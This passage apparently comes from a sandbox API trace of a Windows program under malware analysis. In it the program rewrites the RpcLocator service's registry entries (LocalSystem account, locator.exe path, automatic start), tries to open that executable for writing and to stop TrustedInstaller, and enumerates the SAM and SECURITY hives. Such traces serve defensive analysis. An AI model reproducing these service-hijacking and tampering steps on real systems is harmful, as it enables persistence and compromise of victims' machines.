RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.070] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0244.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0244.070] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0244.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.070] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.071] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.071] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0244.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0244.071] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.072] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.073] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.073] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.073] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.073] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.073] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.073] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0244.073] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0244.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0244.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0244.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0244.073] LocalFree (hMem=0x7e4b18) returned 0x0 [0244.073] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0244.073] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x8038a0 [0244.146] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0244.148] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0244.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0244.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.149] RegCloseKey (hKey=0x150) returned 0x0 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0244.149] RegCloseKey (hKey=0x154) returned 0x0 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0244.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0244.149] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0244.149] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.149] GetLastError () returned 0x20 [0244.149] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0244.150] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0244.150] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0244.150] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0244.150] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0244.151] GetLastError () returned 0x426 [0244.151] CloseServiceHandle (hSCObject=0x803990) returned 1 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0244.151] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0244.151] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0244.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.151] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.152] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.152] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.152] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.153] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.153] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0244.153] RegCloseKey (hKey=0x80000002) returned 0x0 [0244.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0244.153] RtlAllocateHeap 